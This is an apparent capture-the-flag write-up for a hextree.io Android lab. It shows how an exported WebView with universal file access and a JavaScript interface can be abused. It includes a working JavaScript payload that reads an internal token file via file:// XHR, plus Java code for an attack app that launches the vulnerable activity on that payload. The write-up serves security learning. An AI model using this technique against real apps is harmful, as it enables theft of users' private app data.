Exploiting WebView Vulnerabilities: Bypassing SOP to Access Internal App Files
Have you ever imagined being able to steal internal files from an Android application, such as .db
files or other sensitive data? In this article, I’ll walk you through how it’s done by solving a lab from hextree.io.
Initial Analysis
First, I installed the target application on the Android Studio emulator and decompiled it using JADX to analyze its AndroidManifest.xml
file. I quickly noticed a WebView activity that was marked as exported="true"
To investigate further, I examined the activity’s onCreate() method.
Breaking Down the onCreate() Method
- The app retrieves an extra string value
URL
usinggetIntent()
. - If the value is
null
, it defaults to loadinghttps://www.hextree.io
. - It then configures WebView settings with the following:
1 2 3 4
settings.setJavaScriptEnabled(true); settings.setAllowFileAccessFromFileURLs(true); settings.setAllowFileAccess(true); settings.setAllowUniversalAccessFromFileURLs(true);
These settings are highly dangerous, especially:
setAllowUniversalAccessFromFileURLs(true)
, which allows WebView to load files from multiple sources, includinghttps://
,content://
, andfile://
… etc
- This could enable attackers to read local files through a malicious HTML page, or gain RCE. The app generates a random UUID and writes it to a file named
token.txt
. - It registers a JavaScript Interface called
"hextree"
, mapping it to aJsObject
class. - Finally, it loads the provided
URL
.Examining the JavaScript Interface
The
JsObject
class contains anauthCallback()
function that:- Accepts a
token
as an argument. - Reads the
token.txt
file and compares its value. - If the token matches, it triggers the
success()
method (which is our target). - Otherwise, it does nothing.
Crafting the Exploit
Since the application allows universal file access and provides a JavaScript interface, we can exploit it by loading an external URL with a malicious JavaScript payload.
1. The JavaScript Payload
The following script will steal the token from
token.txt
and pass it to theauthCallback()
function:1 2 3 4 5 6 7 8
<script> onload = () => { let x = new XMLHttpRequest(); x.onload = () => hextree.authCallback(x.responseText.trim()); x.open("GET", "file:///data/data/io.hextree.attacksurface/files/token.txt"); x.send(); }; </script>
Explanation:
- The script is executed on page load (
onload
event). - It makes an XHR request to retrieve the contents of
token.txt
. - Once loaded, it trims the response and sends it to
authCallback()
, triggering the success condition.
- Accepts a
Save this payload as exploit.html inside the app’s internal storage: file:///data/data/io.hextree.attacksurface/files/exploit.html
2. Deploying the Attack
To launch the exploit, we need to create an attack app that sends an intent to the vulnerable WebView activity, instructing it to load our malicious HTML file.
The Exploit App Code:
1
2
3
4
5
6
7
8
9
10
11
12
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
Intent intent = new Intent();
intent.setClassName("io.hextree.attacksurface",
"io.hextree.attacksurface.webviews.Flag40WebViewsActivity");
String exploitUrl = "file:///data/data/io.hextree.attacksurface/files/exploit.html";
intent.putExtra("URL", exploitUrl);
startActivity(intent);
}
How It Works:
- The app targets the vulnerable WebView activity by specifying its package and class name.
- It sets
exploitUrl
to the path of our malicious HTML payload. - It passes this URL as an extra string (
URL
) and launches the activity.
Once the exploit app is launched, the vulnerable WebView loads our payload, reads token.txt
, and successfully triggers authCallback()
, granting us access to the flag.
This demonstrates a serious WebView vulnerability in Android apps, showing how insecure settings can be exploited to steal internal files.
THANKS FOR READING ❤️